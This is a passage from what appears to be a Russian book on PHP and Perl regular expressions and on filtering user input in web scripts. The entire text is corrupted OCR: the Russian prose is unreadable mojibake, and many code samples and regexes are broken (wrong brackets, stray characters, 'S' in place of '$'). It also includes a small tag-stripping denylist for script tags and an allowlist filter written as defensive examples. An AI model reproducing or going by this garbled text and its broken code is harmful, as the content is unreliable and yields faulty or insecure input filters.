BCTPEYAeTCs CTOBKO pa3s, CKOJIbKO MoKasaHo B mapamerpe. Hanpumep, cieayio-
liee peryasipHoe BhIPAXKEHHE COOTBETCTBYET TpeM OyKBam A: A(3}.

Ecnu B ckobGkax OTCyTCTBYeT BTOPOH Mapamerp, HO TPUCYTCTBYET 3amsaTas, TO
CHMBOJI JIOJDKEH BCTpPe4YaTbcsl B CTPOKE He MEHblUe MUHMMAIBHOTO KOAWYECTBa
pa3, Ho Ge3 orpaHuyeHust. Hanpumep, ciieayloliee perysipHoe BbIpaxeHue cooT-
BETCTBYET CTPOKE, B KoTopoit umeercs 5 u Gosee BYKB A! A(S,}.

PaccMoTpuM npuMep:

Stext= "2511111111";

$newtext = ereg_replace("51{4,}", "XX", Stext);

3neck Mbl MieM B ctpoke "2511111111" cumBon "5", 3a KoropsiM cienyer Jioboe

KOJIMYECTBO eiMHULL, Gonbluee win pasHoe 4. Haiiiennas ctpoka samMeHsieTcs aABy-
Ms cumsosiamu “X". B 1aHHOM npuMepe Ha BbIXOJe MBI MOIyuuM cTpoky "2XX".

QueHb WHTEpecHOro addexra MOKHO 106UTHCH ¢ MOMOULBIO ckoBok. HomycTum,
YTO HY)XHO HaWTH BYKBY A, 32 KOTOPOiIt MOXET MATH (2 MOXET, H HeT) Moc/eno-
BaTejibHOCTh cuMBosioB "bed". st aTOro muuieM HY>XHy10 OyKBY, a 3aTeM B Kpyr-
JIBIX cKOBKAX yKasbiBaeM BO3MOXHYIO TIOC/IeN0BaTelIbHOCTh CUMBOJIOB: A (bed) .

Yro ke uHTepecHoro B ckobkax? PaccMoTpuM cleylollMii nmpuMmep, B KOTOPOM
C TOMOIIBI0 (DYHKUMHM ereg() nara pasbGuBaeTcsi HA COCTABAAIOLIME, & 3A0IHO
YBUIMM Ha NpakTvKe, Kak paborarsb ¢ 31oil GyHKUHEe:

$date= "01/09/2005";
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Snewtext = ereg("([0-8]{1,2})/([0-9]1{1,2})/([0-9](2.4})",
Sdate, Sregs);
print ("<P> Param 0 = $regs[0]");

print ("<P>Param 1 = $regs[1]");
print ("<P>Param 2 = Sregs([2]");
print ("<P>Param 3 = Sregs[3]");

B nepemenHyio $date 3amvchbiBaeM Mpou3BoiibHYo aaty. Chenyiouueil cTpoukoii
Mbl pa3buBaeM 3Ty ATy HA COCTABIAIOLIME C NOMOLIBIO (QYHKIUMHU ereg(). [la-
BaliTe npoaHanuaupyem peryisipHoe BeipaxeHue. [lis yaobersa Gymem pacemar-
pHBATh €ro Mo vactsaM. B mepBbIX KPymibiX cKoOKax ykasaHo ([0-9]1{1,2}):
B KBaJpaTHbIX cKOOKAX MokasaHo, 4yTo Mbl uuleM uucino ot 0 mo 9. 3arem B (-
FYPHBIX CKODKAX yKa3biBaeTcd KOJNMYECTBO mopropenuit mudpsl. dng natst u Ho-
Mepa Mecsia Moxer rnorpebopatbest oT | 1o 2 uudp.

Bropbie kpyribie cKOOKM ONUCHIBAIOT MECSI, W 3TO ONMCAHME MIEHTHUYHO YMCIY.
B nmocneaHux ckobkax onucheiBaercst rof, U TYT KOJMUYECTBO MOBTOPEeHHU LHpp
oT 2 1o 4. Mexay cKobKamMu CTOMT 3HAK-pas3neuTeab IaThl, T. €. CA3LI.

IMocne pazbueHuss Ha SKpaH BEIBOAMTCS COMEPKUMOE MAccuBa, KOTOPHIil repeja-
BaJICH B IOCJEIHEM fapaMeTpe:

01/09/2005

Param 1 = 01

Param 2 = 09

Param 3 = 2005

i

Param 0

3aeck BUIHO, YTO HYJAEBOH 3JEMEHT MaccuBa — KOMWUA pasbuBaeMoif CTPOKH.
OcranbHple 2MEMEHTBl — 3TO cocTaBnsiomue narel. MyHKUMA ereg() pasbuna
[IaTy Ha TPU COCTAB/IAIOIINE B COOTBETCTBUM C PACCTABACHHBIMU KPYIJIBIMH CKOO-
kamu. Bee, uto BHe 3THX cKoboK (cnati), 6110 oTOpOIIEHO.

Takoe onucanue AaThl He COBCEM KOPPEKTHO, MOTOMY YTO MBI JIEFKO MOXEM Ha-
nucars cenyouryio aary: 99/99/9999. Ho aro HegonycTumMo, Belb YUCIO HE MO-
Ker ObITh Oonbuie 31, a mecsitt He MoxeT ObiTh Gosbiie 12, Bosiee KOppekTHLIM
Oyner cheayiollee peryisipHoe BhlpaxeHue (npuMep mnokasaH s Qopmara
MM/AO/ITTF):

([11?10-91) /([1-317[1-9])/(20[0-9] [0-9])

Tenepb Mecsilly COOTBETCTBYET CIEIyIOLlee BhipaxeHue: [1]2[0-9]. YTobel ro-
HSATH €ro, HY>KHO p&SﬁHTb ero Ha AB€ 4YacTH: ’

m [1]1? — O3HAYaeT, 4YTO B HaAYaIC MOXKET MATH eIWHHLA.

] [0-9) — BTOpOE YHCIIO MOXET OBbITh OT HYJIS N0 9.

Takoe BhIpaKeHWE YXe Jydilie, MOTOMY YTO MAKCHMMANTbHOE 3HAYeHWE, KOTopoe
MoXHO 6ymer rmomecturs B gaty: 19/39/2099. Dro Gamxke K AeHCTBUTENBHOCTH,
XOTSl TOXE HApYILIAET LETOCTHOCTE [HaThl.
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Ecte elue HeckonbKo CHMMBOJIOB, KOTOpBIE MO3BOJSIT HAM CHENaTh PEryisipHOE
BhIpakeHue Bonee yHusepeanbHbiM. K TaKMM CHMBONAM OTHOCSITCH!

0 Touka — 3ameHseT MoGoN onUHOYHBI cuMBoj. JlonycTHM, 4TO Bbl HE 3HaerTe,
KaK IMUILEeTCst ¢JIoBo — script uiu skript (Bbl coMHeBaeTech BO BTopoit Gykse).
IMpobaema pemaercs 3aMeHolt cOMHUTEIBHOM ByKBbI Ha Touky. B atom ciydae
B pe3yJIbTAT nonauyt obe cTpoku;

0 ecnu HYXHO yKaszarh, YTo OYKBbI NOJLKHBI ObITh B Hayaie CTPOKH, TO Mepell HH-
MM HYXHO MOCTaBWTH cMMBOJ “. Hamnpumep, cienyiolllee peryisipHOe Bhipaxe-
HuUe Oyner cooTBeTCTBOBAThL BCEM CTPOKAM, HAUMHAIOUIMMCSH Ha DyKBY A: ~A;

() 3HaK noJUlapa yKassiBaeT Ha KoHell ctpoki. Hanpumep, creyioniee peryasipHoe
BBIPAXKEHWE COOTBETCTBYET JIIOBOMY CIIOBY, KOTOPOE 3aKaHUMBAETCH HA Z: z5.

Kax Bumute, B pery/sipHbIX BBIPAKEHHUSIX MOCTATOYHO MHOTO CUMBOIIOB, KOTOPBIC
sBITOTCsl eyxebHbiMu. lonyctuM, uyto y Hac ecth crpoka: "[B]Hello]/B] world
from [B]PHP[/B]". Kak 3ameHHUTs MOC/IEI0BATENIBHOCTL CHMBOJIOB ([B] HA4
HTML-ter <e>? Eciii Hanmucars cleayioliiil Koa, To HUIEero He BhIAIET:

Stext= "[B]Hello[/B) world from [B]PHP[/B]";
$newtext = ereg_replace("[B]", "<B>", Stext);

PerynsipHoe BhlpaxeHue [B] MpocTo cooTBercTByeT Oykse B, a kpanparHbie
CKOBKH BOCMPUHNMAIOTCS KaK cnyxebHble cuMBOAbL. YToBE OHU TaKXKe YyIacTBO-
BAJIM B MOKHCKE, HEODXOAMMO Mepel Kaxaoi U3 HUX MOocTaBuTh 3HaK cisw. Che-
IYIOUIHI KOJX YK€ yIaqyHo MpOU3BEIeT BCE HEOOXOAUMBIE 3aMEHBI:

Stext= "[B]Hello(/B] world from [B]PHP[/B]";
Snewtext = ereg replace("\[B\]", "<B>", Stext);
Snewtext = ereg_replace("\[/B\]", "</B>", Snewtext);
echo ($newtext);

Sl He 3ps npusen Takoit nmpumep, Beab B MHTepHeTe oueHb 44CTO MCMONB3YIOTCS
Teru B KBaZPaTHbIX CKOOKAX BMECTO YIJIOBBbIX, @ [OTOM KBalpaTHble CKOOKH
NporpaMMHO MOAMEHAIOTCA YIIOBBIMH. 3aueM? [leno B TOM, 4TO NMOJL30BATENIO
WHOIA HYXHO J1aTh BO3MOXHOCTh BBIOCNSTH IIpU(BTAMH HIH CTUISIMH Ompee-
JIeHHBIE y4acTKu Tekcrd. [lisi TOro NMpUXOMMTCA paspeluaTh YIJIOBble CKODOKM,
ytobbl I10J1b30BaTeNL MOr cTaBuTh Teru. Ho rne rapanTtusi, uro oH Oyner npume-
HATh TONBKO paspelieHHsle KOHCTPYKUMN? Kak sanperuts Bce Tern, Kkpome ¢op-
MatuposaHus?

OTIUIHLINA BapHaHT — HMCNOJb30BaTH BMECTO YINTOBLIX CcKoDOK 4TO-TO HHOE, Ha-
npyMep, KBaapatHbie cko6kM M samensitb ux Ha HTML-tern mporpammuo. Ta-
KUM 06pazoM, 3anperieHHsIMU BYIyT Bce Terd, a paspeilieHHbIMU — TOJIBKO Te
3aMEHUTENIH, KOTOpbIE€ Bbl peajiM30BaJIH NPOrpaMMHO,

Teneps y Hac jocrarouHo HHbopMmaluu, 4ToGel co3naTe Kakoe-HUOyIL Gonee
WHTEpPECHOE peryispHoe BbipakeHue. PaccMOTpUM aapec 3JEKTPOHHONH MOYTHI
K4K JIOCTATOYHO MPOCTOU, HO OYE€Hb MHTEPECHBINA MPHMEp.
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s Havana HeobXOMUMO MOHATEL, KAKHE CHMBOJBI MOXHO WCMONB30BATH B CTPO-
ke. B anextpoHHOM ampece Mmoryr ObiTh Jio0bie OYKBBI NaTMHCKOro andasuta,
uudpsl, NoaYepKuBaHWe, THpe uau Touku. Takum obpazom, peryispHoe Bbipa-
XKeHue OyneT BeIMIAAeTh Clenyiolnm obpasom:

~([a-zA-20-9\._\-]+@[a-zA-Z0-9\._\-1+(\. [a-ZzA-20-9]+)+) *$
Yrobel npole 6510 MOHATH LIAGNOH, JaBaiTe ero pasbepeM Mo 4acTaAM:

O ~(la-zA-Z0-9\._-]+ — B HAa4YaJIe CTPOKHN 10 CUMBOJA @ MIET UM NMOJb30Ba-
TEJISl MOYTOBOro sUIMKA. 31ech MOryT ObITh JIIOOBIE paspelleHHble CHMBOJIEI,
HO TIPY 3TOM JIOJIKHO MOJIYYHUTHCH UMsl XOTS Obl U3 OLHOTO CHMBOJIA, NOITOMY
B KOHLE yKa3aH 3HaK +,

O (a-zA-20-9\._-]+ — WMsl cepBepa, KOTOpOe WIET MOCNAe CUMBOJIA @, TAKKE
0053aHO MPUCYTCTBOBAThH, H OHO JAOKHO COIAEPXKATh T XK€ CHMBOJIbI, TOITOMY
3Ta YacTh AHATOTHYHA UMEHH MOTb30BATEJIS;

O (\.[a-zA-Z0-9]1+)*$ — UMS JOMeHa. 3necb MOTYT ObIThb UMPPEl U OyKBEIL
B WnrepHere Mol paboraeM ¢ OyKBEHHBIMH MMEHAMH [OMEHOB, HO B JIOKA/lh-
HBIX CeTsAX WHorAa Betpevaiotesi M uudposbie. [Ipi aTOM UM AOMeHA SBIsIET-
csl HeoDs3areibHbIM, W 06 3TOM FOBOPHT CUMBO *.

Kak BuaouTte, MCronb30BaTh pPeryispHbie BhIpAXeHHS He Tak YX M TpyaHo. Ipo-
creifline 1abloHel MOXHO CO31aTh IOCTATOUMHO 5blc‘l’p0, XOTH Hal C/IOXHBIMH
MpUOETCA MOIMOTETH, M AaXE€ €CTbhb BOIMOXHOCTD Ol.ul-{ﬁHThCSI, UTO MOXKET CKa3aTh-
cd Ha OesonacHocTH cueHapus. YroObl o0jeryuTh XH3Hb MPOrpPaAMMHCTAM,
B PHP ectb Kinaccel perynspHbIX BbIPAXKEHUI, KOTOPbIE COOTBETCTBYIOT Haubonee
4YacTo UCMoib3yeMbIM wwabnoHaM. PaccMOTpUM Takue BBIpAXKeHHS:

O [(:digit:)] — COOTBETCTBYET JIOOBIM LHdpaM, T. . ABISICTCS IKBUBATIEHTOM
[0-8];
O [[:alpha:]] — COOTBETCTBYET JIOOBIM OyKBaMm, T. €. ABISETCS SKBUBAIECHTOM

PEryJIIPHOTO BEIPXKEHUS! [A-Za-z];
O [[:alnum:)] — coOTBeTCTBYeT JMOObIM OykBam MW uMdpam, T. e. sBIsgercs
IKBUBAIEHTOM PEryJisipHOrO BbIPAXEHUsl [A-Za-z0-9].

Crnenylouuii nmpyMep nokasbiBaeT, Kak B CTPOKE 3aMEHWTH Bce UMGPbl CMMBO-
JoM X:

Stext= "13hk132131h";
Snewtext = ereg_replace("[[:digit:]]", "X", Stext);

3.6.3. Ucnonb3oBaHue perynapHbiX BbipaxeHuin Perl

B pazdeae 3.6.2 mbi paccMoTpeu peryasipHele Beipaxenus B ctisie PHP, Ho Hau-
GoJIbLIYIO TIOMY/ISIPHOCTH MMOMYYHIH PeryisipHbie BeipaxeHnus B ctuie Perl, koro-
pble UMEIOT coBepiueHHo apyroi ¢opmar. Ecnu Bel MMENH OMBIT MporpaMmu-
posanus Ha Perl, To Bam ymoGHee OyaeT MCMONB30BATH MMEHHO 3TH 1ABIOHBI,
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K TOMY e, OHM MpelocTaBisioT Gonbilie Bo3MoxHocTeil. Bee omuuu Mbr pac-
CMOTpETh HE CMOXeM, HO Ha OCHOBHBIX OCTAHOBUMCS MAaKCUMAIBHO NMOAPOOHO.
Hekotopsie cneuuanuctsl yrsepxaawr, 4yto Perl-seipaxenusi paboraior B He-
CKOJIbKO pa3 GbicTpee. A He Gepych MOMIEPXKNUBATE 9TO YTBEPXKIEHHE, & MOM MPO-
BEPKHM He rokasanu ocoboit pasHuusl. [[labnoHsl paboralor goctatouHo GBICTPO,
¥ 3aMEPHUTH UX TAHMEPOM 3aTPYAHUTEILHO.

Ha aror pa3 msl Oyaem neiicTBoBaTh B 0OpaTHOM MOpSiIKe: cHAyYaia y3HaeM, Kak
MMcaTh PeryisipHble BBIPAKEHHS, a NOTOM YXe obcynum (QYHKUMM, KOTOpEIE
MOXHO Hcnosib3oBate. [a, GyHKumuy g paboTel ¢ peryasipHbIMU BRIPAXEHUSIMU
Perl otninuatorest ot dyukuuit PHP, ux Mbl paccMoTpuM B clieylolleM pasiese.

Perynsipubie Beipaxenusi Perl sakmiovalores mexmy Ayms crsiiamiu. Hanpumep,
cneayoumit wabnoH coorsercriyer cnopy hacker: /hackex/.
[Mocne wabsoHa MOTYT YKA3bIBATBCS MOAM(HUKATOPI B CAENYIOLIEM BUIE:

/mabnon/mMombuKrarops

MoauiduKaTopsl NpeAcTaBisioT coboii OyKBbl, KOTOpbIE BIMSIOT HA PETYJsipHOE
Beipaxenue, Haubonee nonynsipHeiMu monucukaropamu Perl apnsioress i M x.
PaccMoTpuM HMX Ha ripumepax.

O i — urHopupoBath peructp OYKB. DTO 3HAYUT, YTO PEryIsipHOE BhIpANEHUE
/hacker/i Byner coorercTBoBark cnoBam hacker, HACKER, HacKer u 1. 1.

0 x — MrHopupoBath B 1abaoHe rpobenbl, MepeBollbl CTPOK MU KOMMEHTApHH.
D10 No3BOJISIET BAM MCITOJIb30BaTh B 1IabioHe KOMMeEHTapHH, YTo6bl Ko 6bLI
6onee yurabensHBIM, Hanpumep:

/ 4 Hauamo
hacker # lcxomoe crnoeo
[ # KoHel BHpaxeHMs M MODUIMKATOD X

0 m — no yMOAYaHWIO TEKCT PACCMATPUBAETCS KaK OIHA CTpOKa, HO ec/iu yKa-
3aH TOT MOAU(UKATOP, TO MOXHO HCIONbL30BATh MHOTOCTPOUHBIHA TEKCT.

MoKHO yKasbiBaTh Cpa3y HECKONBKO MOAM(HKATOPOB.

B perynsipubix BoelpaxeHusix Perl oueHb BaxHoe 3HayeHHe HMeeT oOpaTHBIN
ciai. B rabn. 3.1 MOXHO yBUIETH pasiuMyHble BapMAHTBl MCITONB30BAHUSI 3TOro
CHMBOJIA.

Tabnunya 3.1. Ucrions3oaHne o6paTHOro csllia B perynapHbiX Beipaxennax Perl

Orpavnvenne  Onwucanne

\b lpaHuua cnosa
\B OrcyreTBue rpaHuLbl crioBa
\A Hau4ano cTpoku
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Tabnuya 3.1 (okoH4aHme)

OrpaHnyeHune Onucanune

\Z KoHew, cTpoKu Unu nepesof, KapeTkis

\z KoHel cTpoku

\d Lecarnunan undppa

\D TioGolf cumBON, KpoMe AECATUMHON LUUphI

\s Mpoben unu cumeon Tabynauum

\S Bce, kpome npobena

\n Cumeon nepeeofa kapeTku (cumeon ¢ kopom 13)

\r Cumeon Boasparta kapetku (cumeon ¢ kogom 10)

\t Cumeon tabynauum (cumeon ¢ kogom 9)

\w Cumeon, koTopblit Ucnonbayetcs B cnoeax, — Bykesl, Ludpsl U noa-
YepKusaHue

W Bce, kpome cUMBONOB, UCMONb3YeMbIX B ClIOBaX

\xhh lNosBsonset sagaTe cUMBON Yepes ero LWecTHaauaTepuHHblil kog. Ha-

npumMep, ANA 3apaHnA natuHcKoi 6ykeel A HyXHO HanucaTtb \x41

HT‘aK, \ HMEET CHEUHATbHOE 3HAYEHHE, HO EClIH HEoOX0IMMO YKa3aTb 3TOT CHM-
BOJI, HE BKJIAAbLIBAA ONPEAECTIEHHOro CMBICA, TO YKAXKHTE €ro ABaxibl.

Paccmorpum npumep. [JonycTum, YTo HAM HYKHO YKa3aTh TPU [OCIENOBATE/LHO
uayuie ungpst. Ans 3TOro MOXHO HMCMONIB30BATh CJEHYIOIIEE PETYNSPHOE Hbi-
paxeHue:

/A\d\d\d/

To xe camoe MOXHO 3anucaTh WHaye:

/N\A{3}/

Terepb HOCMOTPHM, KaK MOXHO co3farh Wabnon u3 uMdpsl, OYKBBI H LKMpPbLL
/Ad\w\d/

Yenoxuum 3anavy. HonyctuM, UTo HeobXOAMMO HAMTH CTPOKY, B KOTOPOH BHA-

yaie ujaer or 3 1o 5 cuMBOJIOB, 3ateM mpoGen u ganee or 3 no 7 uudp. B Buae
PETYJISIPHOTO BBIPAXKEHUA 3TO OYNeT BHIVIANETDH CleyIoLnM obpasom:

/[A-2] {3,7}\s\d{(3,4} /
Ha moit Barmsiz, Kiloun \ MeHee HarsLIHbI, HO KO BCEMY MOXHO NPUBBIKHYTh.

Kak u B peryasipHeix Boipaxkenusx PHP, B Perl-mabnoHax MoxHo Mcnonb3oBarh
TOYKY, KOTOpas o3HavuaeT J1060M oIMHOUHBIH cMMBOI.
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B perymsipHbix Bbipaxkenusix Perl MOXHO Hcnosib30BaTh M KBalpaTHbie CKOOKM,
UL 3aaHMsl Iuana3oHa BO3MOXHBIX 3HaudeHui. Bor perynsapHoe BeipaxeHue,
KOTOpOe COOTBETCTBYET J10ObIM UMcpaM W 3ariaBHbIM OykBam: /[0-9A-Z]/.
A cnefyiolnid mpUMep NoKasbiBaeT, KAK 3aMEHUTH B CTPOKE CHMBOJBL, BXOASIUKE
B IMArasoH, Ha cuMBon X ¢ MoMouibio (PYHKINH preg_replace():

Stext= "13 EK_-hk13FR31h";

Snewtext = preg replace("/[0-9A-Z]/", "X", Stext);

echo ($newtext) ;

Cumson * ozHauaer orpuuanue. Ecnu HeobXxoaumo 3aMeHnTh HAa cuMBon X Bee,
kpome undp 1, 2 1 3, To Hcnoib3yeM wabaoH /[~123] /:

$text= "13_54hk13FR31h";

$newtext = preg _replace("/[*123]/", "X", Stext);

echo ($newtext) ;

Kak suaure, pabora ¢ peryrspHbiMi spipakeHusimu 8 criie Perl u PHP ouenn
MOX0X4.

3.6.4. DyHKUUMN perynapHbiX BbipaxxeHun Perl

B sToMm pasnene HaMm MPeACTOMT TO3HAKOMHTBCH ¢ (YHKIMAMH JUIA paboThl
c perymsipHbiMi Beipaxenusimu Perl. [la, dyHKiuuKM ominyaoTes oT TeX, YTO Mbi
paccMoTpesiu B paideae 3.6.1, HO HeKOTOPbie U3 HUX O4YeHb cXOXH. OmHY M3 Ta-
KX QyHKUMA MBI yXe paccMaTpuBaiM W He pa3 MCNoNb3oBald — 3TO
preg_replace().

DyHKuua preg_maitch

DyHKUMA MILIET B CTPOKE COOTBETCTBUE PErYIAPHOMY BEIPAXKEHHIO, KAk (YHKUHs
ereg () st peryasipHbix Beipaxenuit PHP. B obuiem Buae oHa BHILISAWT ciie-
OyIOUM obpasom:
int preg_match(

string pattern,

string subject

[, array matches] )

Y dyHKUMN TPH mapameTpa, MepBbie [Ba U3 KOTOPBIX SIBJISIOTCS 00S3aTeIbHBIMH:
O pattern — pPEryjisipHOE BbIpaXeHUE,
O subject — cTpOKa, B KOTOPOH IMPOUCXOIHT MOUCK;

() matches — TMepeMeHHas, B KOTOpYK OylerT MoMeueH MaccHB HailleHHBIX
sHaueHui, Ecau peryisipHoe BelpaxeHue pasbuTo Ha YacTH ¢ NMOMOLUBIO Kpyr-
JIbIX cK0BOK, TO CTpokKa pa3buBaercs B COOTBETCTBHM C peryiisipHbIM Bbipaxe-
HueM U nomeriaercs B Maccus. Hynepoit aneMeHT MaccuBa — KOIHS CTPOKH,

6 3ax. 1315



154 lnasa 3

Dra GyHKIMA oueHb ynobHa [UTsi MPOBEPKH, COOTBETCTBYET AU daitn onpeneneH-
HoMy 1wabnony. Hanpumep, eciii Bl XOTHTE MPOBEPUTH COOTBETCTBUE TEpeMeH-
HOl $server WIAGIOHY 3MEKTPOHHOTO MOYTOBOIO anpeca, TO MOXHO BLIMOJHHTH
CHIEIYIOIIHA KOJL:
$r=preg_match (

"/~ (la-zA-20-9\._~1+@[a-zA-Z0-9\._-]+(\. [a-zA-Z0-9]+) *$/",

$server) ;
if (151)
die("Ombxa d¢opmara nourosoro sumxa');

®DyHKuua preg_match_all

Dyukius paboraer Kak preg_match (), HO NPU 3TOM MO3BOJAET 3a/1aTh MOPSJIOK,
B KOTOPOM MILYTCSI COOTBETCTBYIOLIME 1iaGioHy mnoucTtpoku. B obuiem punme
(hyHKLMS BBITISIAT clieayloluM obpasom:
int preg_match_all(

string pattern,

string subject,

array matches

[, int order] )

V dyHkuuM yeTwipe napamerpa, NepBble TPH M3 KOTOPBIX SIBIAIOTCA 00a3aTesib-
HBIMH!

0 pattern — peryjisipHOE BbIPaXKEHUE;
0 subject — CTPOKA, B KOTOPOW MPOUCXOIUT MOUCK;

O matches — mnepeMeHHasl, B KOTOpyl OyleT moMelleH MAcCHB HailIeHHbIX
3HauyeHunit. Eciu perynsipHoe BoipakeHUe pa3sbuTo HA YACTH € TIOMOILBIO KpyT-
JIbIX cKOOOK, TO KaXIblif a7ieMeHT MaccuBa Oyer coiepxaTh HaliieHHOe COOT-
BETCTBHE OMNpele/leHHON CKOOKe Pery/IsipHOrO BbIPOKEHUS;

0 order — NOpPSNOK PasMELIEHHs CTPOK B Pe3y/ibTHUPYIOUIEM Maccuse. DToT na-
pamMeTp MOXeT MPHHUMATh 3HAYECHHUS:

¢ PREG_PATERN_ORDER — HYJIEBOH 3N€MeHT OyaeT MacCHBOM IOJMHBIX COOT-
BeTcTBUil 1wabmoHy. OcrajibHBIE B2JEMEHTHl COOTBETCTBYIOT HaWAEHHbLIM
MOJCTPOKAM COMIACHO Pa3sDMEeHHUIO KPYIIbIMH CKODKaMH;

e PREG_SET_ORDER — Pe3yJIbTAThl IMOMCKA 6y1yT HAXOAMUTHCS B Maccube
matches, HAUMHAs ¢ HYJIEBOro CHMBOJIA.

Ecnn coorBercTBUe HalaeHO, TO (QYHKIMUS BO3BPATUT true, WHAUYE pesynbrar Oy-
IeT paBeH false.
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®yHKuna preg_split

QyHKUMA preg_split() pa3bMBaeT CTPOKY B COOTBETCTBHM C PETYISPHBIM Bbl-
pPaXEHNEM M BO3BpAalllaeT MACCHB CTPOK, Kak (pyHKuus split () mis PHP. B 06-
LLIeM BUIE OHA BBIMJISIAUT TAK:

array preg_split(
string pattern,
string subject
[, int limit
[, int flags]] )

[TocMoTpuM Ha napamMeTpbl PYHKLHH:

O pattern — pErysipHOe BbIpaXeHHe;

0 subject — CTPOKA, B KOTOPOIf NMPOUCKXOAUT TIOUCK;

O limit — orpaHWYeHHe KOJUYECTBA HAWJEHHBIX 3HAYCHHIL;

0 flags — 31€Ch MOXHO yKa3aTh PREG_SPLIT_NO_EMPTY. B 3TOM ciyuae dyHK-
LIM$S1 BEPHET TOJIBKO HEMYCTHIE CTPOKH.

3.6.5. Pe3siome

Ucnosnbayiite perysipHbie BbIPaXEHUs, KOraa HeoOXoAMMO MPoBePHTh BBOAUMbIE
noJib30BaTe/ieM JaHHbIE WIK [UISl OCYLUECTBIeHUS 3aMeHbl. Kakoil MMeHHO Meron
BbIOpaTh, 3aBUCHT OT JIMYHBIX npeanouyreHuit u curyauuu. MHorma ynobHee u
npoute wanucars PHP-perynsipHoe BbipaxeHue, a wHoraa Perl. Beibupaiite To,
YTO BaM HPABMTCS, M YTO BbI JIyHlle 3HaeTe, EC/IM NMPH 3TOM obecrneduBaloTcst Bee
HeobXonMble NPOBEPKHY.

OpHaxasl S BUAeN, Kak Ha si3bike Basic Obuta co3maHa BejMKoJIeMHast nporpam-
Ma, KoTopas peliaja HOCTATOYHO CJIOXHBIE 3amnadu. Bro UCKYCCTBO, NMOTOMY 4TO
[porpaMMHCT XOPOILIO 3HAET CBOE HAENI0 M C MOMOULIBI MPOCTOTO S3bIKA PELIHJI
JIOCTATOYHO CJIOKHYIO 3ajiavy, KOTOpas HE To CHJiaM JaXe ONbITHBIM Tporpam-
MHCTaM, MUIIYIIHUM Ha Gosree MOWUIHBIX SI3bIKAX nporpaMMHpOBaHMs.

Ecii MOXHO peluuTh 3a1ady perysipHbiMH BhipaxeHHsamMu PHP u B ux ocson-
JIH B JOCTATOYHOW CTEMeHH, TO MPUMEHSiTe UX W HE MbITANTECh WUCIOAB30BAThH
Perl Tonsko U3-32 Toro, 4TO 3TH WAGIOHBI MOlLHEE,

Jlo npenena ynpolaiTe 3anady, 4roObl MeHbiie GbUtda BEPOATHOCTh OMIUOUTBCH.
Ecnut BB ponyctute oWKHOKY, TO 3TO OKAXKETCH OHEpeNHOW OBIPOA B 3auldTe.
Co3zaBaiiTe MAKCHMAJIbHO XKECTKHE PeryisipHble BblpaXeHus, YToObl y Monb3opa-
Teneil ObIO MeHblIE BO3MOXHOCTel s pasryia. Heobxomumo neiicTBoBath OT
3anpera u cbunbrpouan BCE HeXeNaTreJIbHbIe CUMBOJIbLI.
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3.7. 410 n Kak chunbTpoBaTh

B pazdese 3.5 MBI TOBOPUIM O TOM, TI€ HYXXHO NPOM3BOIUTE (DUIBTPALMIO BBO-
JUMBIX MOJTb30BATENEM JAHHBIX, X MPUUUIM K BLIBOAY, 4TO 9TO HOKHO MPOUCKO-
IUTL B cueHapuu. [lanee (pazder 3.5) Mbl y3Haiu O TOM, KaKHMH CPEACTBAMU
MOXKET [1POU3BOANTECS (UALTPALIUS, W UL 3TOr0 MO3HAKOMUJIUCH C PEeryjsipHbi-
My BoipakeHusmu PHP u Perl. B 3toit mase Mbl nepeiiieM K MpakTHHECKOI
YacTH W Ha NMpUMepax YBHIHM, YTO U KaK HYXHO (DHIBTPOBATS.

[Mpexne yeM MbI HaYHEM paccMaTPHUBATL MPUMEpPHbI, HEOOXOMUMO YETKO MOHSTH,
KaKk Oyner MpOMCXOAWTL paspelleHUe WM 3ampeT OnpeleeHHbIX CHMBOJIOB.
BonblMHCTBO HAYMHAIOUIMX TPOrpaMMUCTOB OyAeT NMUcarh PeryisipHOE BhIpaxe-
HUe, B KOTOPOM 3arpelialoTces: OfpeleieHHbIe CUMBOJIBI, @ BCe ocTaabHOoe Byner
paspeteHo. OnbITHBIH NPOrpaMMHCT, HaleieHHbIIT HA Ge3onacHocTs, GyneT neii-
CTBOBaTh HA0OOPOT — 3amnpellaTs BCe, YTO ABHO HE paspelieHo.

[Touemy GesomacHee ciiefloBaTh MPABHIIYy "4TO He paspelleHo, TO 3ampelieHo"?
Jesio B TOM, YTO TOYHO 34lpPeTUTh BCE HEBO3IMOXHO, W Bbl 06s3aTENbHO YTO-TO
yrycrute. Hampumep, Bbl XOTHTE paspeiiuTh Hcnojb3oBaHue Toabko HTML-
TEroB <B>, <I>, <U>, [lIsl 3TOr0 MOXHO HanucaThb PeryJsipHOe BbIpaXKeHUe, 3a-
Mpellaloliee BCe OMacHbIe Tery:

$id=ereg_replace ("<SCRIPT> | <VBSCRIPT> |<JAVASCRIPT>", "", $id);

Ho rae rapanTis, 4TO BBl MEPEYHCIWIN B PEeryisipHOM BBIPAXKEHHM BCE 3anpe-
wennsie Tern? K tomy xe, Web He ctour Ha Mecrte, ¥ MOCTOSIHHO MOSIBISIOTCS
BCE HOBBIE TETH, KOTOPHIE MOTYT CTaTh OMACHBIMW, 4 OHM HE MEpevYMCIeHBl B Ba-
LIeM peryasipHoM BeIpaxkeHuU. HamMHOTO npoiie 3anpeTuTh BCe, KPoMe SBHO yKa-
3aHHOTO:

<?php

Sstr = "<I><STRONG>Hello <B> World<SCRIPT>";
Sstr=ereg_replace("<[A-Z] ({1, }[*BIUl>", "", S&str);
print ($str) ;

7>

B stom npumepe 3anpeuiaercs nioboit Ter, Kpome <B>, <I> U <u>. Ecaiu 8 HTML
MOSIBUTCSI HOBBIM TEr, TO MO yMONYaHWIO OH OyneT 3anpelleH, 1oka Bbl ero He
nobaBuTe B BblpaKeHHe [~BIU].

st Toro uytobel MOHATH, 4YTO (QUIBTPOBATH, HEOOXOAMMO YETKO NPeNCcTaBisTh
cebe, uro Oyner nepenasatbes 4epes mapamerpbl. Hampumep, y Bac Ha dopme
€cTb MOJis BBOJA JUIS CAEAYIOWHX NaHHBIX: (hamMuaus, UMsl, OTYECTBO, IMOJ, AaTa
pOXIeHUs, BO3pacT W npumeuanue. Jdasaiite pasbepeM Kaxmoe u3 mojaei u mno-
CMOTPHM, KAKHe CHUMBOJILI MOXHO PA3PELIUTE K BBOAY:

0 damusug, UMT M OTYECTBO — BCE 3THU TPU MOJS ABASIOTCS TEKCTOBBIMH W
MOTYT cojiepKarh jtobble GykBeHHbIE cHMBO/bLL. Bee octaibHOe NOMKHO ObITH
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sanpelieHo. Cliel0BaTesIbHO, Pery/isipHoe BRIPAKEHUE sl 3TUX NOJIeiH MoK~
HO BBIMISIIETD TaK:

